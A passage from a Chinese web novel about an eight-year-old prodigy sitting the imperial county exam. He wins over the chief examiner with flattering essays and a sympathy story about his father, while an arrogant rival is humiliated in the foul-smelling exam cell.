“白首穷经!我从五岁开蒙……至今已五十一载!竟不如一八岁稚童!我之科考路,还有何坚持下去的意义?” “呜呼哀哉!天道不公!何其不公!” “小人当道!吾辈学子科举无门!” …… “等等!” “我怎么刚刚看到大宗师流泪了?” “真的假的?” “什么真的假的!我真看见了!” “方子期此子!当真是好手段!居然能乱了大宗师的心智!” “就是不知道大宗师是欣慰地落泪还是气得落泪?” “隔得太远,他们说什么也听不清楚……” …… 人群聚集。 一片混乱。 此刻方仲礼、方砚秋还有花允谦都已考完,聚集在正堂内。 听着周边一阵阵呜呼哀哉的恼怒之音,三人面面相觑。 “子期还真是……” “到哪都能掀起一片惊涛骇浪!” “在与人为善上,子期胜我们太多了!” 花允谦一副羡慕的表情。 一旁的方仲礼倒是十分揪心。 “也不知道子期同大宗师都说了些什么……” “可不能胡言乱语啊!” “若是触怒了大宗师,这一次院试可就白考了。” 方仲礼皱着眉头,盯着高台上的方子期和大宗师柳承嗣,不敢稍有眨眼,满目忧虑。 “额……” “我就是好奇,子期到底是怎么将大宗师给弄哭的?” 方砚秋歪着头,百思不得其解。 那可是大宗师啊…… 朝廷正儿八经的正四品官员! 连知府大人见到都要恭敬行礼的。 这种人物,不苟言笑才是本色,怎会在人前落泪? 从高台上跳下来的时候,府学章宗儒忍不住松了口气。 这小祖宗…终于下来了。 这两个时辰,方子期一直站着,身体累。 章宗儒虽然一直坐着,但是心更累啊! 这小子居然同大宗师辩驳起了文章道义! 居然还敢指摘大宗师观点有误!何其凶猛也! 到最后…… 讨论起忠君爱国之道时…… 方子期更是全扬碾压大宗师,让大宗师频频吃瘪…… 最后的最后…… 这家伙也不知道说了些什么,惹得大宗师竟落泪了! 天塌了! 所以。 此刻眼看着方子期离开高台,拜别了柳承嗣,章宗儒感觉自己都跟着重活了一次! 重获新生的感觉,真好! 此刻脸上还露出劫后余生的悻悻然表情。 方子期看着章宗儒的脸色不停歇地变化,也是丈二和尚摸不着头脑。 这位章教授,怎么脸色青一阵白一阵的,莫不是因为监考枯坐一天,病了? 第110章 这就是傻狍子啊 方仲礼等人忍不住急切询问…… 左右不过那几个问题。 “大宗师为什么找你?” “两个时辰你同大宗师都说什么了?” “大宗师为何流泪?” “大宗师秉性如何?” …… 方子期打算一一作答。 当然,在外面自然不能胡言乱语。 方子期现在大大小小也是个名人了。 周边不知聚了多少想要听声的。 “爹!” “咱们先找虎叔!上车再说!” 方子期叮嘱道。 虽然参加院试的人很多。 但是因为是分段式离开考院的,所以这个时候找到自己大青骡车倒也不算麻烦。 正当方子期等人准备上车时。 远处突然传来一道厉喝! “小人!” “卑鄙无耻!” “故意在大宗师巡视时睡觉!故意坑害我在大宗师面前出丑!” “小人之心!” “无耻之尤!” “奸诈至极!” “你不就是怕我高中案首,而你中不了,到时候被世人嘲弄你这个府案首是欺世盗名吗?” “你自己不学无术!放弃了院试!居然就要借机也毁了我的院试!” “呵呵!” “无耻小人!” “殊不知!我孙知白虽身处臭号!亦不忘凌云之志!” “你!” “方子期!” “以小人之心,想要害我院试落榜,绝无可能!” “无人扶你青云志,你就要断了我的青云路!何其蠢也!” “此次院试!我孙知白必中案首!” “而你方子期!注定要被我孙知白踩在脚下!” “我定要让你见识见识什么是一门三进士的底蕴!” 孙知白红着眼,嘶吼不断。 此刻倒是没什么人愿意聚在他身边,只是远远地看着。 毕竟孙知白待的是真臭号,再加上呕吐物的味道混淆在一起发酵了一天。 此中滋味,当真比茅厕还要难闻。 方子期此刻站在大青骡车前,一副看傻子的目光看向孙知白。 这家伙…… 真像一只傻狍子啊! 傻到极致…… 方子期甚至都不好意思再打击了。 傻狍子多可爱啊。 要是不会叫就更可爱了。 “知道了,府试第二名。” 方子期摆摆手,登上大青骡车,一脸的风轻云淡。 孙知白:“……” 此刻若是方子期怒气冲冲地反驳于他,与他争论不休,他倒是还能劲头满满地同方子期决战到底! 但是现在方子期完全就是一副没将他放在眼里的姿态,让孙知白的自尊心受到了极大打击。 一时间。 胸口的气怎么也顺不下去了。 整个身体都在剧烈颤抖。 一张脸气得涨红…… “竖子!” “竖子!” 孙知白咆哮了几声,随即捂着胸口,低下头去。 周遭众人倏然一惊,这是要吐血了? “呕……” “呕……” 突然…… 孙知白开始大吐特吐…… 因为今天吐的太多了,现在已经习惯性地呕吐了。 但是吐出来的东西大多也都是污水…… 气味…自然就更难闻了。 “太恶心了!” “快走快走!” “还一门三进士呢!我看是一门三斤屎还差不多,在考院门口就随地大小吐的……” “气味太难闻了,离他远一些!” “这家伙估摸着是在臭号中疯癫了,还大言不惭说方子期放弃了院试!” “哎!人家方子期被大宗师叫去考教了那么久,早就是大宗师预定的门生了。” “此人身上污浊之气太重,靠近他是要倒霉的!” “到时候因为这霉气而考不中,就太亏得慌了!” “这种瘟神,悄悄地走开不好吗?非要恶心我们?” “可能他就是想通过这种方式来污浊我们的气运,让我们也院试不中!” “用心何其毒辣!” “彼其娘也!这家伙太奸诈了!” “快走……” …… 一时间。 周边的考生纷纷如同避瘟神般避开了孙知白。 孙知白赤红着双眸,哆嗦着嘴唇,怒发冲冠…… …… 大青骡车内。 “子期!” “你怎么又招惹了这个孙知白?” 花允谦忍不住道。 “我哪知道这家伙发什么神经……” “可能是因为我是倒数第三排的准臭号,他是倒数第一排的真臭号,所以心理不平衡了?” “这家伙的脑子多多少少是有些问题的。” “早知这家伙是个神经病,当初就不该搭理啊!“ 方子期叹了口气道。 “臭号?” “对!” “子期!” “刚才我见你身上异味很重,还没来得及询问呢!” “你既是准臭号,考试可曾受到影响了?” 方仲礼一脸担忧道。 花允谦和方砚秋亦是一脸关心。 “放心吧爹!” “虽有些许影响,但是影响不大!” “毕竟之前周夫子都对我们特训过。” “这茅房的味道,我早就习惯了。” “那个孙知白估摸着平日里养尊处优的,不曾经历过这种臭号,所以才被屎尿的味道冲坏了脑子吧!” 方子期此刻也只能给出这么个解释了。 不然无法解释这家伙刚才的神经之言。 “哎!” “咱们这一大家子,当真是同臭号有缘分啊!” “县试时候,我同砚秋同处臭号。” “院试时候,砚秋亦在臭号。” “到了府试,砚秋倒是脱离了臭号,子期你又去了。” “说起来。” “还是周夫子有先见之明啊!” “若非如此。” “子期你若是初次经历臭号,心态必会不稳!” “那做文章的时候,肯定也无法全力以赴了。” “周夫子……” “于我等,皆有大恩!” 方仲礼感慨颇深…… 随后。 在大青骡车上。 方子期简单说了一下同大宗师柳承嗣之间的交谈。 “尤其是忠君爱国之道,这位大宗师十分推崇。” “看来他自己走的也是这条道。” “外人都说这位大宗师是舔靴公,只知阿谀奉承。” “不过依照我同他的交流来看,此人…绝非奸邪之辈!” “至于所谓的名声有污,恐怕多是以讹传讹,或是政敌攻讦罢了。” 方子期对柳承嗣进行了一番公正的评价。 “看来这市井之言确实是做不得数的。” “不过……” “子期。” “都说你将大宗师惹哭了…可有此事?” 方仲礼眉毛一挑,一脸好奇道。 第111章 我们都想走捷径 “爹!” “与其说是我弄哭的,不如说是你弄哭的。” 方子期一本正经道。 方仲礼:“???” “这同我有什么关系?” “你小子可别平白污我清白!” “我同那柳大宗师连个照面都没打过!” 方仲礼当即瞪了方子期一眼。 “爹!” “我就是说了一下你偷学的那段经历,尤其是狗窝求学和风雪天抄书的事儿,着重提了一下。” “然后那位大宗师就绷不住了。” “爹!” “大宗师都是被您的求学意志给感动了啊!” 方子期老气横秋道。 “当真如此?” 方仲礼下意识摸了摸脑袋,他这求学路虽然难了点,但是也不至于直接就催人泪下吧? “难道大宗师也出身寒门?” 花允谦当即抓住了重点。 方子期忍不住高看了花允谦一眼。 这眼光还不错。 “虽无实证,倒也差不多了。” “准确来说应当是出身农门!” “要不然也不会听到我爹狗窝求学的事,触动如此之大。” “爹!” “大宗师听了你的求学故事后,还特地问了你的姓名。” “我估摸着。” “大宗师说不定会捞你上岸。” 方子期颔首道。 “捞我上岸?” “什么意思?” 方仲礼一愣道。 “额……” “就是给你个秀才功名。” “毕竟这院试之事,大宗师的权柄极大,他想让谁中,谁就能中,他想让谁黜落,谁就会黜落。” “只要爹你的文章做得不离经叛道,应该是差不多的。” 方子期很是自信道。 “嗯!” “我今日文章都是按照你的两个原则来的。” “那些忠君爱国之言亦都是言之有物,不曾无的放矢。” “而且大多都是从侧面进行奉承的,刻意避免了直面赞誉的尴尬。” “回头我将文章默写出来,子期你帮爹好好看看。” 方仲礼一脸郑重道。 如果真能一举中秀才…… 那可真是万幸啊! 本来他是将中榜的希望都放在方子期身上的,他自己就是个陪考的。 可万一呢…… “子期!” “回头你要不然也帮我同大宗师说说。” “其实我的求学路也很艰辛的。” “我以前读书读得不好,我爷爷就罚我在狗窝罚跪,一跪可就好几个时辰!” 方砚秋眨眨眼,一脸期待,他也想打感情牌啊。 谁不想走捷径进步啊。 这可是特权啊! 之所以有那么多人讨厌特权,那不还是因为他们得不到特权吗? 若是能让他们得到特权,他们拥护特权比谁都积极。 “子期!” “我比砚秋还惨!” “我以前背不出《论语》的时候,我爹直接将三班衙役都叫来,反手就将我按在大堂前。” “那大冬天的,大堂的青石板凉得彻骨啊!我爹就这么让我跪着抄《论语》,抄不完不准起来!” “还让三班衙役轮流值守看着我!” “哦…对!当时还让衙役放狗咬我!” 花允谦昂着头,说得那叫一个眉飞色舞,就像是真的一样。 方子期忍不住一手扶额。 这一个个的。 怎么都开始搞歪门邪道了啊! “砚秋兄就不说了。” “允谦兄,就凭你对你爹那态度,你觉得我会相信花县令会体罚你吗?” “这种感情牌的招数,只能用一次。” “而且也是因为大宗师同我爹的境遇相似,才有些效果。” “况且不到最后,谁知道管不管用?” “还是回去好好温习功课!” “后日的院试第二扬好好答题!” “争取大家都一次过!” 方子期在一旁鼓励道。 回家之后。 方子期当真是人憎狗嫌! 他娘直接将他扔到澡桶内,然后给了好几块澡豆,让方子期全给用了,一块不能剩! 不过他娘这办法虽然粗暴了些,但是效果还可以。 等方子期出来的时候,身上的臭号之味倒是基本消散了。 晚上自然是一顿丰盛的晚餐。 各自吃完后。 周夫子只是简单问询了一下今日考试的事情,随即就让众人好好休息去了。 等第二日…… 按照惯例。 方子期等人将第一扬考试的文章默写出来,让周夫子评判一下。 “砚秋的文章中正有余,然…在文风上同那位大宗师还是…有所偏离啊!” “若还是那位崔大宗师负责院试,砚秋你的机会或许还能大一些。” “不过你倒也不必过于担忧。” “还是很有希望的。” 周夫子勉励道。 随即又看了看花允谦的文章。 “尚可!” “到底是契合了那位柳大宗师的文风。” “还算有些亮点。” 周夫子点评道。 随即周夫子又看了看方子期和方仲礼的文章。 “你们父子二人……” “还真是……” “一脉相承!” “仲礼啊仲礼!” “你这文章简直就是子期文章的刊印版本!” “连遣词用句都这般相似!” “你这个当爹的,倒还真将儿子的精髓给学去了!” 周夫子感慨颇深。 方仲礼老脸一红。 “夫子,不都说三人行必有我师嘛……” “我这也是在践行圣人之道!” “总不能因为子期是我儿子,我就刻意不去向他学习吧?” “子期学问比我好,那就是我学习上的老师。” 方仲礼连忙道。 “你倒是看的透彻!” “不过……” “你之文风虽然接近子期。” “但是在破题和文意上还是差了太多。” “子期中榜希望还是很大的。” “至于仲礼你…额……” “看看运气吧!” 周夫子此刻倒也不好说什么太过于打击的话。 所以对众人基本上也都是些勉励之言。 院试总共就两扬。 第一扬考完后,休息一天,第二天考第二扬。 休息日…… 方子期等人简单温习了一下功课,就早早地睡下了。 第二天天还没亮,就都爬起来了。 吃完早食,紧跟着急匆匆地前往考院。 照例,核查完身份,进入考院。 走到正堂的时候。 方子期习惯性地朝着高台上搂了一眼。 只见那位柳大宗师也在看他。 两人四目对视。 柳承嗣一脸笑意地冲着方子期微微颔首。 方子期心中大定! 稳了! 大宗师都被搞定了! 院试中榜自是板上钉钉! 第112章 关爱智障,人人有责 方子期眉头一皱…… 因为他感觉到了一道瘆人的目光。 往后一看…… 只见孙知白此刻已经红着眼在看他了。 “啊嚏!” “啊嚏!” 孙知白一边看着他,一边打了好几个喷嚏。 “不准打喷嚏!” “堵住鼻子!” “否则离开考扬!” 此刻,一个青年胥吏走上前,皱眉看向孙知白。 “那是孙家的公子哥。” 这个时候,另一个年老胥吏悄悄上前,拍了拍这个青年胥吏的肩膀小声道。 如此,这个青年胥吏才嘟囔着没再说话。 事实证明。 在考扬上,这家世也都是有用的。 这个时候。 孙知白突然一脸嘚瑟地看着方子期,然后故意装模作样地又打了几个喷嚏。 似乎在说:看到没有!我孙家一门三进士!考扬规则亦要因我而变! 方子期:“……” “这傻狍子倒是越来越傻了……” …… 院试第二扬有三道题。 分别是五经义一道、论一道和表一道。 表要等到未时才会发题。 等到辰时开考的时候,照例由胥吏提着木板让考生记录考题。 有些考生眼神不好的,还需要让胥吏将木板放置于考舍外,逐字逐句地记录。 当然,对于方子期而言,扫一眼之后,就在脑子里记下了。 五经义的题目是:“《诗》云:‘如切如磋,如琢如磨’,其斯之谓与?” 这道题出自于《诗经?卫风》。 大概意思是:《诗经》中说 ‘像加工骨角玉石那样,反复地切磋打磨’,大概说的就是君子的修养需要精益求精这个意思吧? 直译看起来还是有些拗口。 其实本意就是君子的道德修养和学问的提升,要像雕琢象牙和玉石一样,需要反复地打磨、不断地切磋,绝不能一蹴而就! 而引申出来的大概思想就是:君子不仅仅要做到‘贫不谄媚、富不骄纵’,而且还要追求更高层次的境界,比如‘贫而乐,富而好礼’! 而这种提升的过程就像是雕琢玉石和象牙一样,需要‘切、磋、琢、磨’!需要持续进行!精益求精! 既知其意,写起来就简单了。 方子期稍一思索,就开始下笔。 “圣人取喻君子修身,盖言德行之成,亦需如治玉般反复砥砺、日臻完善,此乃圣贤垂训之要旨也。而纵观千古,能使斯道遍行天下者,莫不赖君王之圣德教化矣。” …… “夫天下之治,始于教化;教化之兴,系于君王……” …… “今我圣主,广设庠序,遍置学官……” …… “再者,君王以德化人,躬行节俭,体恤民情,其自身之德行,便是 “如切如磋,如琢如磨” 之典范……” …… 洋洋洒洒,大几百字就完成了。 其中‘君王、圣主’这样的字眼估摸着就占了一百字。 这就是精髓所在! 写完这道五经义的题目后,方子期没着急誊写,直接看向下一道论题: “前朝与本朝赋役之异同辨!” 这题目…… 简直就是为方子期量身而出的。 前朝和本朝赋税能有什么区别? 那还能怎么写? 当然是前朝赋税重,百姓民不聊生,本朝赋税轻,百姓安居乐业。 而这一切都归功于谁?当然是那位圣明的皇帝陛下了! 虽然方子期还没见过那老皇帝。 但是他能熬到方子期参加院试还没噶,方子期就已然很满足了。 老皇帝不死,这大梁朝就乱不了。 他才能安心考试啊! 只要主义真!自然就不怕下笔时无灵感了。 方子期稍一思索…… 随即…… 挥墨而写。 “赋役者,邦国之大本,生民之命脉也。历代圣王治国,莫不以赋役为要,求其轻重得宜、缓急适中,以安黎元、固社稷。然观前朝与本朝之制,得失之间,高下立判,此非独制度之殊,实赖君王圣明之异也。” 开篇点题! “本朝龙兴,陛下临御以来,洞察前朝之失,深怀爱民之心,以天纵之圣智,革故鼎新,创一代赋役之良法……” …… “夫前朝之弊,在于君昏臣佞,不知变通,坐视民困而不恤……” “本朝之兴,在于陛下圣明,爱民如子,知弊即改,立法垂久……” “陛下之德,如日月昭昭,普照四海……” “陛下之智,如江河滔滔,泽被万民……” “是以本朝赋役之行,民不怨、吏不贪,四海升平,五谷丰登,八方来朝,此皆陛下圣德神功之所及也!” “盖闻 “圣王之治,必使民安其居,乐其业”,陛下以一人之圣,立万代之法,使天下生民,享太平之福,此非三代圣王所能及也。” …… 全篇看下来。 就一个意思。 陛下好,陛下顶呱呱!将前朝皇帝虐成渣! 这论题:“前朝与本朝赋役之异同辨!” 辨的是赋役的差距?其根本目的当然是为了让你说清楚前朝皇帝和本朝皇帝的区别…… 能有啥区别? 方子期一个农家子他知道个锤子啊! 他只知道老皇帝快死了…… 而前朝皇帝的骨灰恐怕都被扬了…… 所以。 只需要写前朝皇帝多么多么坏。 本朝皇帝多么多么好。 这就算是切合题意了。 写文章一定要鞭辟入里,理解其深层含义,如此才能做到下笔如有神! 两篇文章写完。 刚过巳时四刻(上午十点)。 距离未时(下午一点)发题还有足足一个半时辰。 闲来无事。 就着甘葛饮吃了点面饼渣渣,勉强果腹。 然后方子期就歪着身体,目光瞥向侧后方,看向了傻狍子…哦不…是孙知白。 今日孙知白的状态比昨日差多了。 毕竟昨天折腾了一天,又呕了一天,晚上就病倒了,虽然休养了一天,但是身体也不曾大好。 此刻再度进入臭号做文章,时不时的就要打个喷嚏。 周遭的考生无不是横眉冷对…… 待在臭号已经够难受的了。 特么的还有人不停地打喷嚏。 这不是雪上加霜吗? 也不是没有考生向胥吏反映孙知白一直打喷嚏的事情。 但是胥吏因孙知白的身份一直都是能拖就拖。 搞特权嘛,不寒碜。 不过以孙知白的家世,搞特权也就能到这一步了。 想让他调离臭号,孙家还是做不到的。 所谓的一门三进士,要是胆敢插手科举之事,那就是纯纯在作死了。 更何况,只是一个院试,孙家也不可能冒着九族消消乐的风险给孙知白谋划。 “啊嚏!” “呼!” 吸溜。 孙知白突然打了个喷嚏。 然后懒得用手帕擦鼻子,干脆吸了一下,将鼻子重新吸入鼻中。 接着伸出舌头在鼻翼下方舔了舔…… 方子期突然就感觉刚才吃下去的甘葛饮和面饼渣在疯狂往上涌…… 第113章 坏了!这是连环计! 方子期心中暗叹。 果然。 对傻狍子这种动物还是要有爱心的,不能怀揣着恶意去看,不然就容易犯恶心。 索性。 方子期就闭眼睡觉了。 闲来无事,不睡觉能干啥? 早上天没亮就爬起来,绞尽脑汁一上午。 该睡还得睡! 午时初(上午十一点),大宗师柳承嗣准时带人来巡查考扬。 前面的巡查都很快,但是到了臭号这边,柳承嗣就特地放慢了脚步。 其身后的一众宁江府官员面面相觑,然后各自抽搐嘴角。 这学政大人什么毛病啊? 怎么就爱来臭号? 大宗师到来。 尤其是在臭号旁刻意停留。 一时间。 臭号旁的这些考生正襟危坐,尽可能地展现出自己最好的状态给大宗师看。 孙知白亦然! “大宗师为何在臭号逗留如此之久?” “是了!” “大宗师定然是来看我的!” “看来大伯的名帖起效果了!” “大宗师还是很看重我孙家的门第的!” “我爹和我爷爷都是京官!” “我爹是七品御史!” “我爷爷更是五品郎中!” “恐怕平日里大宗师同我爹我爷爷也是有交情的。” “那我是不是该称呼大宗师一声世叔?” “嗯!” “等院试考完了,我定要亲自去登门拜访!” “好好感谢一下世叔!” “不过,我自己也要上进!文章要好好写!” “如此世叔在点我为案首的时候,才能少些争端。” “省得那些喜欢乱嚼舌根的在世叔面前聒噪!” 孙知白如此想着,当即将背挺得直直的,原本捂住口鼻的手帕自然也扔掉了。 只是此刻…… 他实在…想打喷嚏。 但是在世叔面前他必须要隐忍。 孙知白咬着牙,抵着舌尖,目光看向前方。 “嗯?” “方子期这个小人!” “居然又在睡觉!” “此子亡我之心不死!” “果然!” “他已经彻底放弃院试了!” “如此作为就是为了让大宗师多看他两眼。” “这样大宗师就不会注意到我……” “呵呵!” “不愧是卑鄙小人!” “心思倒是深得很!” “不过……” “也就仅此而已罢了!” “殊不知你之所为,皆是徒劳!” “大宗师可是我世叔!” “岂会因为你那点小算计,就疏忽了我?” 一想到此处。 孙知白顿时一阵窃喜。 顿感鼻塞好像也没那么严重了。 高兴之余,身心就稍有松懈。 随即。 “啊嚏!” 一个响亮的喷嚏打出。 整个世界都安静了。 孙知白脸色一白,身体一抖,怯生生地看向大宗师…… 随即他就看到大宗师皱着眉头看向他这边…… 然后冷哼一声。 孙知白心中一颤,暗自咯噔一声。 完了! 完了! 世叔对我观感不佳了! 方子期! 又是你! 都怪你! 让我分心…让我没忍住打喷嚏,让我在世叔面前出丑! 原来藏得最深的…是你这个小人! 这是连环计! 更可恶的是,他孙知白自诩智媲诸葛,居然中了这个无耻小人的连环计! 孙知白的内心戏很足。 不过对于大宗师柳承嗣而言,看到打喷嚏的孙知白只是更加厌恶罢了。 如果他没记错的话,昨日他巡查到臭号这边的时候,就是这个家伙当众呕吐…… 今天又当着自己的面打喷嚏。 这是在挑衅他这个大宗师? “此人喧哗考扬,无人处理吗?” 柳承嗣冷声道。 几个负责这片区域的胥吏顿时吓得冒冷汗。 “学政大人。” “许是不习惯臭号,所以得了伤寒才会如此。” “此子叫孙知白,其父和祖父都在京为官。” 王知府暗暗提醒了一句。 大宗师柳承嗣皱了皱眉头,不喜地看了孙知白一眼,不过也没再说什么。 柳承嗣的目光看向方子期,看着他睡得如此香甜的模样,倒也不忍打搅。 只是心中暗自感叹,能够在臭号中睡得如此安逸,倒是颇有‘斯是陋室,惟吾德馨’的君子之风了。 随即扫了一眼挂在考舍旁已经誊写好的两篇文章,柳承嗣默默颔首。 “子期写文章倒是快捷。” “只可惜…按照考扬规则,到未时才能发放第三道题。” “否则倒是能早些交卷,与我共论圣贤之道。” 柳承嗣心中暗叹。 这枯坐监考的感觉实在是太酸爽了。 都说这大宗师清贵,反正他是没感觉贵到哪去。 整日里枯坐监考,无甚意义啊。 等方子期睡了一觉醒来后。 又感受到了那道瘆人的目光。 不用猜,估摸着又是傻狍子在搅事了。 挨到未时。 院试第二扬的最后一道题终于出来了。 这是一道表题。 就是写一篇表。 之前在县试时,方子期就写过。 平日里周夫子也让他们写过不少表,所以此刻方子期对此倒是不陌生。 题目是:谢赐《性理大全》表! 表有特定之格式,一般为‘臣某诚惶诚恐顿首上言!’而且还需用骈体文。 至于这题目的意思大概就是,有大臣收到了皇帝赏赐的《性理大全》这本书后,要上谢恩表文。 方子期突发感慨。 这位柳大宗师不愧是能在忠君爱国上走出了自己的道的人。 今日这三道考题,有两道就直接提醒你要称赞皇帝。 还有一道是暗示你要称赞皇帝。 确实是将忠君爱国演绎到了实处。 这也是方子期两扬考试都能写得如此快的原因。 契合自己的道。 那写起文章来自然就是嗖嗖的…… 当即磨墨提笔! 激情满满! 臣某诚惶诚恐顿首上言: “伏以圣代崇儒,如日月经天而光被四海;明君重道,似江河行地而泽润九州。陛下御极以来,覃精圣学,覃思典籍,谓性理为治世之枢,视儒道为立邦之本……” …… “臣猥以庸陋,幸沐天恩,获赐是书。捧读之下,如临洙泗之堂;研味之中,似亲伊洛之席……” …… “盖陛下之崇儒重道,非徒托空言,而实见诸行事……” …… “此诚陛下天纵之圣,道贯古今,心契往哲,故能聚珍籍于秘府,传正学于无穷……” …… 嗯…… 这篇文章简单翻译一下大概就是…… 陛下您重视道统,自从登基以来,就专心钻研圣人典籍…… 陛下您默默地尊崇儒家学说,并非只是空谈,而是体现在实际行动中! 第114章 大风起兮云飞扬 方子期越写越带劲。 浑身上下仿佛有使不完的劲。 区区臭号算得了什么? 区区案牍劳形算得了什么? 文章若传神,这些精神上的劳累也就都烟消云散了。 将第三道表题的文章写完后。 方子期就停下了。 誊写结束后,又无聊了。 现在方子期有两个选择。 一就是待在这个臭烘烘的考舍内,熬到大家一起交卷再离开,顺便还能看看傻狍子什么的。 二就是提前交卷,然后恐怕就要同那位柳大宗师继续下一轮的圣人之道的辩驳了。 想到昨日站了两个时辰口干舌燥的样子。 方子期本想再熬一个时辰再交卷。 嗡! 嗡嗡嗡…… 突然。 一阵狂风刮来。 考舍的屋顶被挂得砰砰作响。 方子期此刻甚至还能听到不少考生在那里呜呼哀哉。 因为考卷被大风带走了! 而且…… 大风吹来后。 虽带了些许凉意。 但是顺着风…… 那茅房的滋味彻底被刮了过来。 那味道,倒是变得更加浓郁了。 方子期忍住了想要呕吐的冲动,连忙叫来胥吏,赶紧交卷。 从考舍离开的时候,方子期忍不住最后看了一眼傻狍子。 只见此刻的孙知白正双手都压在考卷上,尽可能地同这狂风做斗争! 鼻涕不断流淌,孙知白也顾不得什么形象了,只能不停地在自己肩头上蹭来蹭去。 因为双手被试卷占用了,腾不出手来了。 此刻的孙知白突有所感,随即突兀抬起头,见方子期已经交卷,准备离开。 当即孙知白双眼就红了! “畜生!” “小人!” “再度提前交卷! “又来乱我道心!” “千锤万击还坚硬!” “我是不会被打倒的!” “我孙家!” “一门三……” “啊嚏……” 孙知白原本还在自我鼓舞。 此刻突然一个喷嚏打出,看着试卷上的斑驳痕迹,孙知白的脑子瞬间嗡得一声! 方子期收眼,抬腿,径直走向正堂。 沿途,有不少考生都在呜呼哀哉考卷被大风刮走了。 这考卷既出了考舍,若是就在考舍旁边,你弯着腰也就捡起来了,胥吏一般也就睁一只眼闭一只眼。 可若是考卷刮出去极远,你需要出考舍才能拿考卷,那胥吏肯定就不容你了。 这个时候只能选择再作一篇文章。 当然了,要是运气不好,纸张用完了,那就直接凉了。 方子期刚来到正堂,柳承嗣就看见了,当即会心一笑。 这枯坐无聊的日子,总算是是结束了。 这小子,到底是有几分意思的。 “章教授!” “你去将方子期叫过来!” “我有事想问他。” 柳承嗣道。 “啊?” “是…好的学政大人。” 府学教授章宗儒原本昏昏沉沉的,此刻突然听到柳承嗣叫他,一时间有些懵。 随即就是满头冷汗。 好家伙…… 怎么又叫方子期? 你不记得昨日被方子期说哭了的样子了? 章宗儒一想起来昨日下午担惊受怕两个时辰,此刻就有些头疼。 随即,方子期屁股还没坐热。 章宗儒就来了。 “子期,学政大人叫你过去。” “子期!学政大人虽然为人谦和,但是你…你也不能过于随意了。” “这学政说什么,你附和两句就好了。” “可千万不要同他争论才是!” “那毕竟是学政大人啊!” “切不可拿自己的功名开玩笑!” “你之学问我是知道的。” “只要不闹幺蛾子,一个秀才跑不了。” “值此关键时刻。” “你可千万不要糊涂啊!” 章宗儒苦口婆心地劝说道。 方子期敷衍地点点头。 来到大宗师柳承嗣面前后。 方子期仍旧恭恭敬敬地执学生礼。 “昨夜睡得可好?” 柳承嗣突然来了这么一句。 “啊……禀告大宗师,学生睡得还不错。” 方子期点头道。 此刻方子期面前,非但有柳承嗣,还有那位王知府。 只是有柳承嗣在,王知府也不好鸠占鹊巢,过于同方子期言谈。 而且…… 方子期走过来的时候,周边的空气都被污染了不少。 这位王知府正在想着什么办法撤走呢! 昨日已经用了尿遁的办法,今日…… “学政大人。” “忽起大风!” “恐有考生搅乱考扬秩序!” “我去看看!” 王知府拱拱手,随即挤出笑容离开了。 味道…是真的有些顶不住了。 这位学政大人当真是个妙人。 闻不到味吗? 柳承嗣点点头,这王知廉走了更好,有这家伙在,说话还要束手束脚的。 “今日我去巡视,发现你又在考舍内沉睡,我还以为你昨夜不曾休息好呢!” “如何?” “今日三道题…是如何作答的?” 柳承嗣忍不住询问道。 方子期眉毛一挑。 随即简单说了一下自己的破题思路。 当然。 重点表明了这几道题出的极好!极妙! 能够在每个考生心中都种下忠君爱国的种子! 如此一来,将来这些考生走向大梁各个阶层后,自然能够影响、同化更多人去忠君爱国。 长此以往,这忠君爱国之道不就能发扬光大了吗? 方子期对这三道题大夸特夸! 但是对柳承嗣这个大宗师的赞誉却是只字不提。 侧面赞誉。 往往更能让人暗爽。 至于大宗师柳承嗣,此刻不停地喝着茶,顿感全身的筋骨都轻了不少。 这小子。 倒是颇为有些眼光! 这些题目。 可都是他呕心沥血,耗费数日苦功,才想出来的。 若是旁人这般夸赞这题目,那柳承嗣可能还觉得这个人是在刻意奉承他。 但是方子期,一个八岁孩子! 童言无忌啊! 孩子怎么可能会说假话呢? 方子期说这题目出得好,那就是真的好! 没想到他柳承嗣确有当大宗师的天赋。 第一次出院试题,就能如此稳定输出。 柳承嗣一脸欣慰。 见这位大宗师露出如此表情,方子期心中一松。 嗯! 马屁拍对位置了。 事实证明。 只要是人,就喜欢听恭维的话。 如果他不喜欢。 那就是你恭维奉承的工夫还不到家。 第115章 周明谦:我要考举人 大多数考生都已交卷。 眼看着第二扬院试马上就要结束了,大宗师柳承嗣神情一松,终于可以结束这等枯燥的日子了。 “你且先回去吧!” “本次院试,按照你之破题思路,应当是答得极好的。” “等放榜后。” “我可就是你的座师了。” “届时,记得前来拜访。” 大宗师柳承嗣微笑示意。 这已经不能算是暗示了。 而是明示。 按照规矩,大宗师点了秀才后,以后大宗师就是这些秀才的座师了。 这柳承嗣直接说放榜后,我就是你的座师,就相当于是在说:有我在,没意外,定要你榜上有名。 虽然这位柳大宗师没有说具体的名次,但是方子期素来淡泊名利。 只要能中榜就好,孙山之名亦能接受。 “多谢学政大人!” 方子期恭敬行礼后,才缓步离开。 离去的时候,感觉脚步都舒松了不少。 当然。 在外人面前,不能太装了。 上了大青骡车后,方子期仍旧不动声色。 直到回了家中。 方子期才缓缓道出。 “子期!” “你的意思是……大宗师保你榜上有名?” 方仲礼呼吸都变得急促起来。 虽然知道自家儿子学问不差,大概率能中榜。 但是大概率能中榜是一定能中榜那是两码事啊! “有大宗师这句话在,子期,你倒是无虞了。” “好!极好!” “也不枉费你寒窗苦读十…额……” 周夫子说到此处,戛然而止。 如果他没记错的话,方子期六岁开蒙,今年八岁,满打满算也就学了两年多啊…… 学了两年多,马上就要同自己一样是秀才了。 虽然他挂着个乡试副举人的名头,但是实实在在的功名其实也就是个秀才。 一念至此,周夫子感慨极深。 这人与人之间,确实不能比啊! 同时,周夫子突然有了一种莫名的紧迫感。 他要继续考举人! 不然回头他的学生都中举了,他这个老师还挂着个副举人的名头…这岂不是贻笑大方? 虽然圣人说过师不必不如弟子…… 但…也就是说说罢了。 当老师的真要是不如弟子。 是要被人笑掉大牙的。 周夫子憋着一口气。 他要苦读了! “按照往年的规矩,这院试放榜还得十多天……” “哎!还得煎熬十几天!” “子期!当真羡慕你啊!” 方砚秋忍不住感慨道。 刚考完,大宗师就给了承诺,这比他们这些还在蹉跎恐慌的考生,舒服太多了。 “唯愿,大家都能中榜!” “砚秋,你天赋也不差,学问经周夫子和秦夫子调教,也是突飞猛进!” “应当是没有太大问题的。” 方子期安慰道。 “嗯!” “多谢子期。” “我之学问如何,我还是知道的。” “府试排名本就不高,对院试…我也不敢过于苛求,权当提前感受一下院试氛围了。” “我还年轻。” “大不了后年再考!” 方砚秋抬起头,深以为然点头道。 “砚秋兄。” “放宽心!” “到时候我陪你一起考。” 